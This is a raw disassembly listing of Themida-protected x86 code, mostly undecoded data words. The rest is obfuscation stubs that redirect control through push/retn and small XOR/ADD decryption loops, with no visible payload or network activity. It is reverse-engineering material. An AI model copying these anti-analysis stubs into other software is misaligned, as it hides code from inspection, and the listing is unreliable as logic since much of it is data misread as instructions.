inc esi
push esi
retn
sub_5C6156 endp
; ---------------------------------------------------------------------------
dw 0D4DCh
dd 1B15A370h, 0B5FF76F7h, 61523E1h, 13870Fh, 0EE90000h
dd 43000000h, 280FBCFBh, 58150E88h, 0FC4D2463h, 0BD95FF60h
dd 0E9061508h, 15Bh, 8100B0F8h, 47441D3h, 8970E627h, 1530159Dh
dd 8B71E406h, 150A11BDh, 0F613C06h, 13A83h, 12E900h, 92840000h
dd 0A99914A6h, 0E15873A2h, 40FA8EC9h, 0C52FFBA4h, 89C8B60Fh
dd 1518F5B5h, 6BA06h, 0BF0F0000h, 56C18BFAh, 31958B60h
dd 8906151Ah, 1527A19Dh, 0C15F6106h, 0B58904E8h, 6150CADh
dd 0FE2F766h, 1E80h, 10E86000h, 89000000h, 0E47CCAB8h
dd 95E868DEh, 6E8A3h, 5B3D31C8h, 8C0Fh, 0E9610000h, 13h
dd 365842E9h, 3D0438A5h, 26CE9515h, 0E9958EEAh, 2B21432Fh
dd 0FE8A60C8h, 12870Fh, 0DE90000h, 0F9000000h, 0B2416102h
dd 367B4BB4h, 95AB3B36h, 89D18B61h, 1507C1BDh, 6D952906h
dd 0E9061521h, 87h, 0BE8h, 2CDADE00h, 0B0E651F7h, 0CC9EF94Ch
dd 10DBD8Bh, 8B5B0615h, 885h, 8E900h, 0D14D0000h, 0ADDC9C0Eh
dd 6EBF17E9h, 8323F7FEh, 9D8B07C0h, 6150C75h, 0F900C083h
dd 830FD03Bh, 0Eh, 9A5BB52h, 0E95F3271h, 37h, 8D8BFE8Bh
dd 0FFFFFFFFh, 109D9D89h, 0E1830615h, 20840F01h, 8B000000h
dd 1517D1BDh, 0FFA58306h, 0FEFFFFFFh, 10519D8Bh, 95890615h
dd 8, 0E91BB7h, 8D000000h, 194304B5h, 50006A06h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 0FDAAA401h, 12E896h
db 2 dup(0)
word_5C631E dw 0C284h ; DATA XREF: Themida_:00579C54o
dd 27654EF3h, 6C14CB40h, 0F0011691h, 864A0078h, 0E026F781h
dd 6A5F6B2Ah, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 0AD89D02h, 0E2EAA2D6h, 95FFD1DDh
dd 6152E21h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 0DBC35141h, 0A3494FBBh, 1D85897Ch, 0F061515h, 68Eh
dd 9DBD0900h, 0B9061510h, 1043h, 68B0F60h, 33000000h, 151A5595h
dd 6870F06h, 89000000h, 1521E98Dh, 0E1836106h, 55006AFCh
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 0E8541B94h, 11h, 0F5FCB0B6h, 0C8A86DC4h, 22F4F229h
dd 200F4401h, 0EE937h, 0AC180000h, 7B2FD1FCh, 0D37CA7DAh
dd 0CA6EAAD7h, 0BD01605Bh, 6151359h, 225BD89h, 0FC610615h
dd 0B8DFBF0Fh, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5C6423
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6423 proc near ; CODE XREF: Themida_:005C641Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5C6423 endp
; ---------------------------------------------------------------------------
db 0B4h
dd 71AE3ADAh, 199D8BB3h, 2B061502h, 57006AD2h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 81AFE01Dh
dd 0D3811C99h, 69B6424Eh, 12E9h, 0B9D15E00h, 0ED057B10h
dd 116D8F10h, 29B0C9DBh, 0AD59B3CAh, 0E8D1C233h, 0E983D003h
dd 6AF47504h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 3139C357h, 15256995h, 880D06h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 0D981EFC3h, 0B92FFFF5h, 0B59D23D6h, 8B061517h
dd 15272195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1804h, 0C3504000h, 512C1C3Fh, 7E94Dh, 1B560000h, 252F5B3Eh
dd 0CD8D8BE5h, 6A061504h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 0E730C351h, 0BD8B4A3Bh
dd 6150BA1h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 0D92B85C3h, 6A79EFh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 0F5B6EBC3h, 0A9BD8346h
dd 61518h, 9C840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 28CC7FC3h, 0C99D8B5Fh
dd 0F06151Ch, 68Dh, 618D8900h, 0B806151Ah, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5C65D7
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C65D7 proc near ; CODE XREF: Themida_:005C65CFp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5C65D7 endp
; ---------------------------------------------------------------------------
adc eax, 4865194Ah
sub eax, 1B09A8Bh
mov ebp, 6152585h
add edi, [ebp+6151135h]
lea ecx, [ebp+6154F9Eh]
push 0
push esi
call sub_5C660D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C660D proc near ; CODE XREF: Themida_:005C6605p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5C660D endp
; ---------------------------------------------------------------------------
db 20h, 8, 0E7h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
push cs
pop esi
pop esp
mov edi, [ebp+6152571h]
jmp ecx
; ---------------------------------------------------------------------------
sub [ebp+6152965h], edx
cmp dword ptr [ebp+6151115h], 0
jz loc_5C6ABE
or di, 4940h
cmp dword ptr [ebp+6151115h], 1
jz loc_5C6AD9
mov [ebp+61527C1h], ebx
cmp dword ptr [ebp+6151115h], 3
jbe loc_5C6AA3
mov bx, 1A8Ah
pusha
push 0
push ebp
call sub_5C6674
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6674 proc near ; CODE XREF: Themida_:005C666Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5C6674 endp
; ---------------------------------------------------------------------------
mov fs, word ptr [eax-3709207Fh]
adc al, 1Bh
mov cx, ds
and ebx, 2A0032DDh
and ebx, [ebp+6150225h]
and cl, 4
push 0
push ebp
call sub_5C66A9
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C66A9 proc near ; CODE XREF: Themida_:005C66A1p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5C66A9 endp
; ---------------------------------------------------------------------------
db 0AAh, 9Ah, 0B9h
; ---------------------------------------------------------------------------
dec ebx
dec esi
lea ecx, [edx]
leave
jz loc_5C67F6
push 0
push edi
call sub_5C66D2
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C66D2 proc near ; CODE XREF: Themida_:005C66CAp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5C66D2 endp
; ---------------------------------------------------------------------------
dw 0F6Ch
dd 0E8Ch, 0BD036000h, 615002Dh, 2B158501h, 8B610615h, 15249D85h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 0C0D932F2h, 9D8B0E5Fh, 6152D41h, 2F819589h
dd 8B0F0615h, 6, 0FC1BD8Bh, 85330615h, 61519B5h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 2DC35545h, 0B7506F1Bh
dd 2404891Ah, 6799509h, 6A0615h, 59B8C781h, 4E87D8Ah, 0FF000000h
dd 0E8001F03h, 5, 335F5BCEh, 0FA8B660Eh, 8F0F505Fh, 0
dd 424448Bh, 0E87FB460h, 6, 0CCC8D57Ch, 0AE88483h, 6D000000h
dd 0ADC017FFh, 0A92F2F05h, 615B5A68h, 0BB66008Bh, 44893EE8h
dd 0F98B0424h, 0AD95FF58h, 8906150Dh, 18BF9985h, 3EE9FC06h
dd 6A000002h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 0E4FBC355h, 438B542Fh, 2351B589h
db 15h, 6
; ---------------------------------------------------------------------------
loc_5C67F6: ; CODE XREF: Themida_:005C66C1j
mov eax, [ebp+618BF91h]
jz loc_5C6808
xor [ebp+6152AA1h], edx
loc_5C6808: ; CODE XREF: Themida_:005C67FCj
mov dword ptr [eax], 18h
push 0
push eax
call sub_5C6819
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6819 proc near ; CODE XREF: Themida_:005C6811p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5C6819 endp
; ---------------------------------------------------------------------------
cwde
or edx, [esi]
or esp, esp
or bx, 0D185h
mov esi, [ebp+618BF95h]
push 0
push edi
call sub_5C6844
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6844 proc near ; CODE XREF: Themida_:005C683Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5C6844 endp
; ---------------------------------------------------------------------------
dd 3CC39D0Fh, 13E9h, 0DCF2C100h, 0A0D524ABh, 640012CFh
dd 505DB220h, 0ED7281E6h, 189D8D89h, 858B0615h, 6150C45h
dd 14E8h, 90E1C100h, 0DFB64522h, 702072B2h, 0AE43861Fh
dd 0C373FB18h, 0D595893Ah, 5B061518h, 6A0689h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 0DEBD25C3h, 8B55FE07h, 15249D85h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 2FBBFB20h
dd 0FE8B2905h, 6A044689h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 27BFC356h, 2A6DB529h
dd 0D98B0615h, 12E996h, 21350000h, 1E105689h, 0C151AB7h
dd 0B3075985h, 8A16F884h, 0BF525050h, 1D778214h, 850F310Fh
dd 6, 820Fh, 585A0000h, 0DD9D8B96h, 0FF06150Bh, 18BF91B5h
dd 0D3816606h, 0FEB38EBEh, 4E8h, 1F03FF00h, 35BF5000h
dd 8B1AB5A5h, 66042444h, 8BFA8Bh, 5880Fh, 7BBF0000h, 89774CF7h
dd 0E8042444h, 13h, 6503BACBh, 40884A9Ah, 0E7641522h, 8F4A7B3Fh
dd 5BCF8787h, 14E958h, 83680000h, 0C321AF00h, 0C4EB95E0h
dd 9F99820Bh, 4062446h, 858D7A73h, 618BF99h, 50EFC780h
dd 4755BF50h, 895F135Ch, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 0F7B539C3h, 66BD3660h
dd 0FFFAD0BFh, 150DAD95h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 2ABB6637h
dd 6A6156h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 0EFA0B5C3h, 85C7B926h, 6151115h, 3, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E9C35040h, 0B271FFB7h
dd 78BB6604h, 99BD83B4h, 618BFh, 39840Fh, 0BE90000h, 2D000000h
dd 86368B39h, 0EE9B08E4h, 3FE9459Fh, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 9156C353h, 0C1C78158h
db 0E9h, 0E1h, 62h
; ---------------------------------------------------------------------------
loc_5C6AA3: ; CODE XREF: Themida_:005C665Ej
; Themida_:005C6ABAj
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_5C6AA3
jmp short loc_5C6AF4
; ---------------------------------------------------------------------------
loc_5C6ABE: ; CODE XREF: Themida_:005C6639j
; Themida_:005C6AD5j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5C6ABE
jmp short loc_5C6AF4
; ---------------------------------------------------------------------------
loc_5C6AD9: ; CODE XREF: Themida_:005C664Bj
; Themida_:005C6AF0j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5C6AD9
jmp short $+2
loc_5C6AF4: ; CODE XREF: Themida_:005C6ABCj
; Themida_:005C6AD7j
mov eax, eax
push 0
push esi
call sub_5C6B01
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6B01 proc near ; CODE XREF: Themida_:005C6AF9p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5C6B01 endp
; ---------------------------------------------------------------------------
db 1Ch, 0BAh, 0CEh
; ---------------------------------------------------------------------------
mov ebp, 179DBD23h
adc eax, 53006A06h
call sub_5C6B26
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6B26 proc near ; CODE XREF: Themida_:005C6B1Ep
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_5C6B26 endp
; ---------------------------------------------------------------------------
dw 0D3D7h
dd 7ADFAE80h, 0A98BB48h, 0BD8346E6h, 6151115h, 31850F03h
dd 0F9000004h, 832BCB80h, 18BF99BDh, 840F0006h, 420h, 15820Fh
dd 9E80000h, 60000000h, 0B5CF593Dh, 0F160E8ADh, 1065BD33h
dd 0FF5B0615h, 18BF99B5h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 39D00D6Bh
dd 0FCBFB10h, 68Fh, 3D858900h, 0FF061504h, 1510E195h, 4319BF06h
dd 8BFC2C1Bh, 18BF8DB5h, 41852906h, 0C7061529h, 1000106h
dd 965B5600h, 0DA8B5250h, 8B66310Fh, 50585ADEh, 5E9h, 3D61E600h
dd 57963F10h, 0CF9BD89h, 0FF5B0615h, 18BF99B5h, 13810F06h
dd 0E9000000h, 0Eh, 99B05934h, 0F653AC1Dh, 9E3D6FB4h, 95FF7BE8h
dd 61506A1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 0B5C35646h, 603B3EFBh, 1A4D9D89h, 8B610615h, 18BF8DB5h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 8CE43A18h, 17F19531h, 858B0615h, 6150059h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 24C35141h
dd 1D9DF9EDh, 0C48689C8h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0EF25C355h
dd 2825BD89h, 958B0615h, 6152721h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 0C3C35141h, 0E96E68Fh, 38289F5Bh
dd 831BDF80h, 816604C2h, 897A0DD7h, 6A2050h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 858DF3C3h
dd 618D458h, 5C19D0Bh, 86890615h, 0B8h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Ah, 89C35141h, 0B28D022Dh
dd 8B57F3C8h, 151CFD9Dh, 0E7815B06h, 17D19D95h, 6A006Ah
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 0F8B429C3h, 0D3B952A6h, 0D81BD29h, 0FE80615h, 3000000h
dd 0FD78A3A5h, 0F2E4E02Ch, 95B19161h, 0BD8BE502h, 615005Dh
dd 99B5FF5Bh, 6A0618BFh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 4361C356h, 89630B73h
dd 15251DBDh, 259D8B06h, 0FF06152Bh, 151D4D95h, 0A1958906h
dd 57061519h, 8959D8Bh, 505B0615h, 0CE8h, 6617E500h, 55EC2678h
dd 8CA91BB7h, 14E9600Bh, 81000000h, 17D2F689h, 39548BDh
dd 0B445D8AEh, 0D4024A34h, 0E99ADF8Eh, 13h, 6EA6BCC4h
dd 1A42630Eh, 0B357FB2h, 0F8C154BDh, 61383B2Dh, 2434895Fh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 2EC35343h
dd 0BB66D002h, 0B5FF2761h, 618BF99h, 4880F56h, 66000000h
dd 5BF25CBFh, 72995FFh, 0CF810615h, 2BA25792h, 65BD83h
dd 0F000615h, 2E84h, 0D19D3300h, 6006151Ch, 8899D31h, 8B530615h
dd 966159D9h, 8E850h, 0EF2B0000h, 6F809A7Bh, 0D8BFDCC9h
dd 5F0F6E98h, 0FD8D8996h, 0FF06152Fh, 18BF99B5h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 70412F77h, 9D23FBF6h, 6152EE1h, 10ADBD8Bh, 95FF0615h
dd 6150439h, 0E96BBF66h, 0BF99B5FFh, 6A0618h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 0BA0F1C3h
dd 0CD95FFFEh, 6A06150Dh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 853DC350h, 0F921B460h
dd 58C0Fh, 81660000h, 8390EFCFh, 15285DBDh, 840F0206h
dd 3Ah, 0AD9D8956h, 5F061510h, 2849858Bh, 0BD8B0615h, 615140Dh
dd 6A0000C6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 6539C353h, 27499D8Bh, 85C70615h
dd 61523F5h, 0
; ---------------------------------------------------------------------------
jmp loc_5C6149
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5C6F90
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6F90 proc near ; CODE XREF: Themida_:005C6F88p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5C6F90 endp
; ---------------------------------------------------------------------------
dd 28C85101h, 211BEF4Bh, 0C18BACF7h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 0BFC35343h, 0FE8BDh, 658E0000h
dd 0AE89E967h, 24832C86h, 1D9DF9EDh, 0C9BD2BC8h, 5B061510h
dd 28598509h, 858D0615h, 615279Dh, 1A498D89h, 0E8500615h
dd 9, 62B2C6Eh, 254E891h, 5B87B36Eh, 6A240489h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 0EF17C350h, 0FC396437h, 6A2AB12Ch, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0CB2B9FD4h, 0ECA5251h, 6AB747h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 18h, 18C35141h, 0ED38A4DFh, 1C819D8Bh
dd 858D0615h, 619D742h, 14598589h, 0C0830615h, 4895005h
dd 0BE924h, 0C1A90000h, 0E1326AFBh, 8629D4A3h, 56006AA5h
dd 5B88EF80h, 8166006Ah, 0FFF0A1F3h, 15267995h, 8DF98B06h
dd 189C158Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 0C7C3EE77h, 2631C300h, 66D1FF5Bh
dd 0BD83DF8Bh, 6152DB5h, 7E850F01h, 6A000000h, 51006A02h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 3E9B78E1h, 50901CDBh, 5800F52h, 0BF000000h, 1EABB94Dh
dd 0CE9310Fh, 31000000h, 5AB0C4B2h, 0B965C01Fh, 5A78A2CCh
dd 0B9B35058h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 8F34435h, 4D95FF40h, 6006151Dh
dd 0EB8CF8Bh, 61383555h, 0D91E24BBh, 104AE975h, 0E80000h
dd 5D000000h, 0D74CED81h, 6A0619h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 0ED7EADC3h, 12D329BBh
dd 8A90CBDCh, 0F9858DF9h, 6A061888h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0E4E9C356h
dd 0F98B6675h, 608765BFh, 83B3905Ch, 90DF8B50h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E1C35141h, 7654ECF7h
dd 0FF646D61h, 35h, 9DF8000h, 258964h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 1712C352h, 572A61FDh, 68C0Fh, 0BD8B0000h, 6151A69h
dd 3585FF5Fh, 6A061515h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 78B4A933h, 66A60174h
dd 0FF4A38BFh, 152921B5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0B1022938h
dd 0EE920h, 6AE20000h, 71941453h, 259E70B9h, 0EFAAAEh
dd 280D9D8Bh, 95FF0615h, 61508BDh, 135E9h, 0DFBF0F00h
dd 958900B0h, 6152A5Dh, 8D8970E6h, 6150E01h, 0B70F71E4h
dd 0F613CDFh, 11583h, 6E85300h, 64000000h, 0EA3FD063h
dd 5B5FFC7Dh, 0FC8B60Fh, 1881h, 13E900h, 54720000h, 0F7B1A3ECh
dd 835F6BBCh, 5768C369h, 0C75B165Bh, 6BA28h, 0C18B0000h
dd 0EE8FC60h, 8D000000h, 79177E17h, 95725916h, 43B6D1C5h
dd 0E595091Eh, 5B061506h, 4E8C161h, 4A99D8Bh, 0F7660615h
dd 29DA8BE2h, 150C6D8Dh, 89C82B06h, 15216D85h, 12E806h
dd 47B60000h, 3258CEAFh, 0F919B677h, 5031E521h, 330FED8Ah
dd 6840Fh, 0CF810000h, 765B23DEh, 8BD18B5Fh, 1503F59Dh
dd 74E906h, 0E3810000h, 20719AC5h, 22299589h, 858B0615h
dd 1, 7E59D89h, 0B5890615h, 6150A95h, 6607C083h, 794BDF81h
dd 5700C083h, 174DBD01h, 3B5B0615h, 8830FD0h, 8B000000h
dd 34E9FEh, 8BF50000h, 0FFFFFF8Dh, 0DA8B66FFh, 0F01E183h
dd 2184h, 3CBB6600h, 0FFA5836Eh, 0FEFFFFFFh, 0E9E78166h
dd 19589B7h, 89000000h, 1521E5BDh, 0E906h, 0B58D0000h
dd 6195347h, 2F219D8Bh, 0BD890615h, 6150ACDh, 6A006Ah
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 20CE27C3h, 60D2C5FCh, 20FD8D31h, 0B5890615h, 6150DC9h
dd 8DB58961h, 0FF061517h, 152E2195h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 78F2E5D8h
dd 608BC312h, 0BFF88B7Ah, 4D4DBD47h, 0E8DB9h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0E1E33547h, 53BEA2E2h, 0FCE18368h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ch, 0CCC35545h, 0A4F1B7FBh, 9BAE441Ah
dd 6AFCDA8Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 0DA2AC353h, 6CB4FD50h, 15958931h
dd 89061502h, 15054D8Dh, 0B806h, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0EEA11EC3h
dd 0BA3CC5h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 4CAAC353h, 10E9h, 0A1657800h
dd 0D94C90EBh, 745243CAh, 0D68543B3h, 0C233AD8Bh, 0D003E8D1h
dd 7504E983h, 51006AF4h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1704h, 0C3514100h, 0E2E3207Bh, 8E9h, 0C6349000h, 90C49262h
dd 880D0Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 3D6729C3h, 0A1AEEA46h, 21958BDEh
dd 0E9061527h, 0Fh, 9425FC00h, 0E5A94220h, 41C7EAC9h, 0F0EEF58h
dd 68Eh, 119D0900h, 8B061501h, 1504CD8Dh, 52006A06h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 8CFA4283h, 4274E332h, 62BF66B5h, 0C28B5074h, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F2DCC351h
dd 0DB8F6EE9h, 292981DFh, 0D5858960h, 0B8061525h, 375A9413h
dd 318D8961h, 6A061505h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 94DAC353h, 0F275F5AFh
dd 7E9F568h, 0B5000000h, 25910D92h, 0BD83F797h, 61518A9h
dd 0B0840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 843EC357h, 3F282C25h
dd 0E9163AF2h, 7, 0E31A9DA4h, 0B88F501Ch, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5C76BB
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C76BB proc near ; CODE XREF: Themida_:005C76B3p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5C76BB endp
; ---------------------------------------------------------------------------
db 0CAh
; ---------------------------------------------------------------------------
inc eax
push esp
mov edi, [ebp+615093Dh]
or [ebp+6151031h], edi
lea ecx, [ebp+6154F9Eh]
push 0
push edi
call sub_5C76EB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C76EB proc near ; CODE XREF: Themida_:005C76E3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5C76EB endp
; ---------------------------------------------------------------------------
db 2Fh
dd 0E92ACE51h, 7, 572A5FFCh, 0F5429AEDh, 6AE1FFh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 830623C3h, 151115BDh, 840F0006h, 533h, 12E8h, 3EBAEC00h
dd 0B6EE40E4h, 419D5532h, 23BCEFD6h, 66FDFF53h, 5FEA9ABFh
dd 1115BD83h, 0F010615h, 52584h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 95896021h
dd 6150829h, 1D498D01h, 83610615h, 151115BDh, 860F0306h
dd 4B8h, 0DF8B6652h, 6A605Fh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 793820C3h, 5B4EF101h
dd 8B6601DFh, 0D98C66FAh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 6C35141h, 5EB5B6ABh, 6E0CE8F9h, 8E8D4h
dd 8F9D0000h, 82E2090h, 0BF66F0B5h, 0E85F76ECh, 10h, 0C7F311B5h
dd 27C38EF0h, 33FDC9DEh, 0ACEA0CA4h, 10D2BB66h, 4E1805Bh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0EC35040h
dd 8162CFF0h, 13CFA3EFh, 419D8918h, 0A061503h, 5B840FC9h
dd 89000001h, 150BE995h, 9D858B06h, 66061524h, 0B5CEE381h
dd 19B58533h, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 8B50F2C3h, 240489D8h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0A1C35747h, 6236DF1Ah
dd 6AA3E780h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 0E813FE9Dh, 4, 1F03FFh, 0E8605250h
dd 9, 0F72B8B5Ch, 0D1DFEB86h, 8B665EC8h, 310F61D8h, 9E8h
dd 6CF5B400h, 833A0180h, 830F1FDAh, 0
; ---------------------------------------------------------------------------
pop edi
pop edx
pop eax
push eax
mov ebx, 7E1DEDC3h
mov eax, [esp+4]
mov bx, 398Dh
mov eax, [eax]
mov bl, 89h
mov [esp+4], eax
mov ebx, 1FB5F26Eh
pop eax
push 0
push eax
call sub_5C792A
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C792A proc near ; CODE XREF: Themida_:005C7922p
arg_4 = dword ptr 8
pop eax
